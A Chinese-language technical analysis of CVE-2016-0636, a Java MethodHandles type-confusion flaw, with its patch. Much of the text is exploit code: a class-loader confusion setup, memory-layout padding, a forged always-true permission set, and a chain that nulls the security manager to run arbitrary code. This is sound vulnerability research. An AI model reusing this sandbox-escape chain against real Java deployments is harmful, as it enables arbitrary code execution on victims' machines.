漏洞编号:CVE-2016-0636,此漏洞是安全研究员(Adam Gowdiak)于2013年报告给Oracle的漏洞(CVE-2013-5838)的变体。由于Oracle在部分代码分支中未对该漏洞进行修补,导致了此漏洞再现江湖,影响版本:java SE 7u97, 8u73, 8u74。
Windows 7 x86 + jdk_1.8.0_74
由于反射API的实现存在缺陷,当方法句柄(MethodHandles)处理目标类的成员函数时,因对函数参数的类型校验不严谨,可导致类型混淆。校验过程如下图所示:
其中clazz代表目标类,type代表clazz类的成员函数,具体验证代码如下图所示:
其中loadersAreRelated的实现代码如下:
<span style="color: blue;">@param paramClassLoader1 函数参数的加载器</span> <span style="color: blue;">@param paramClassLoader2 目标类的加载器</span> private static boolean loadersAreRelated(ClassLoader paramClassLoader1, ClassLoader paramClassLoader2, boolean paramBoolean) { ... <span style="color: red;">for (ClassLoader localClassLoader = paramClassLoader2; localClassLoader != null; localClassLoader = localClassLoader.getParent()) { if (localClassLoader == paramClassLoader1) { return true; } }</span> ... }
该函数循环检查目标类的加载器或者父加载器是否与函数参数的加载器相等,如果相等直接返回true,表示验证通过。当目标类的加载器与其函数参数的加载器不一致,并且两个加载器存在父子关系时,就形成了类型混淆的漏洞。
URLClassLoader cl1=(URLClassLoader)getClass().getClassLoader(); URL utab[]=cl1.getURLs(); URL url=new URL(utab[0]+"/data/"); utab=new URL[1]; utab[0]=url; URLClassLoader cl2=URLClassLoader.newInstance(utab,cl1); /* find A classe in cl2 namespace */ MethodHandles.Lookup lookup=MethodHandles.lookup(); Class a_cl2=cl2.loadClass("A"); /* find m method of A class */ lookup=lookup.in(a_cl2); Class ctab[]=new Class[1]; ctab[0]=P.class; desc=MethodType.methodType(Void.TYPE,ctab); <span style="color: blue;"> MethodHandle mh=lookup.findStatic(a_cl2,"m",desc);//获取m函数的方法句柄</span> P p = new P(); mh.invokeExact(p);
<span style="color: red;">A in cl1 namespace</span> public class A { public AccessControlContext macc; }
<span style="color: red;">A in cl2 namespace</span> public class A { public MyAccessControlContext macc; }
public class MyAccessControlContext { <span style="color: red;">int dummy;</span> public MyProtectionDomain context[]; }
其中dummy为填充的数据,用于占位来控制内存布局。致使MyAccessControlContext.context恰好等于AccessControlContext.content。内存布局如下所示:
<span style="color: red;"> macc in cl1 macc in cl2</span> 03ca56d0 00000001 ---> 03caa940 00000001 03ca56d4 1480e188 ---> 03caa944 143e1438 03ca56d8 00000100 ---> 03caa948 41414141 <span style="color: blue;">//dummy</span> 03ca56dc 03ca56c0 ---> 03caa94c 03cab6b8 <span style="color: blue;">//content</span> 03ca56e0 00000000 03ca56e4 00000000 03ca56e8 00000000 03ca56ec 00000000 03ca56f0 00000000 03ca56f4 00000000
public class MyPermissions extends PermissionCollection implements Serializable { Object dummy;//用于占位来控制内存布局 public transient boolean hasUnresolved; public PermissionCollection allPermission; <span style="color: blue;">public Enumeration elements() { return null; }</span> public boolean implies(Permission perm) { return true; } public void add(Permission permission) { } }
public static void set_privileges(MyAccessControlContext macc) { try { <span style="color: red;"> MyProtectionDomain mpd=macc.context[0]; MyPermissions permissions=mpd.permissions;//转换成自定义权限集 permissions.allPermission=(PermissionCollection)permission;/设置系统权限集为自定义权限集</span> } catch(Throwable e) {e.printStackTrace();} }
/* exploit type confusion for ACC from cl1 namespace */ <span style="color: blue;">a.macc=AccessController.getContext(); confuse_types_mh.invokeExact(a);//cl1 空间对象混淆,篡改权限集合</span> /* exploit type confusion for ACC from cl2 namespace */ <span style="color: blue;">a.macc=(AccessControlContext)getACC_mh.invoke(); confuse_types_mh.invokeExact(a);//cl2 空间对象混淆,篡改权限集合</span> /* invoke Exploit.run method and proceed with full sandbox bypass */ <span style="color: blue;">run_mh.invokeExact()//将安全管理器设置null,执行任意代码</span>;
利用该漏洞绕过了安全沙箱的限制,成功弹出计算器,如下图所示:
保证目标类的加载器和函数参数类的加载器为同一加载器即可,修补代码如下:
<span style="color: blue;">@param paramClass1 函数参数类</span> <span style="color: blue;">@param paramClass2 目标类</span> public static boolean isTypeVisible(Class<?> paramClass1, Class<?> paramClass2) { ... <span style="color: red;">String class1Name = paramClass1.getName(); Class localClass = (Class)AccessController.doPrivileged(new PrivilegedAction() { public Class<?> run() { try { return Class.forName(class1Name, false, localClassLoader2); } catch (ClassNotFoundException|LinkageError localClassNotFoundException) {} return null; } }); return paramClass1 == localClass;</span> }
首先获取参数类的名称,然后让目标类加载器尝试加载参数类。如果加载成功,并且判断两个类是否相等,如果相等,则验证通过,否则验证失败。这样就保证了目标类的加载器和函数参数类的加载器为同一加载器,成功修补漏洞。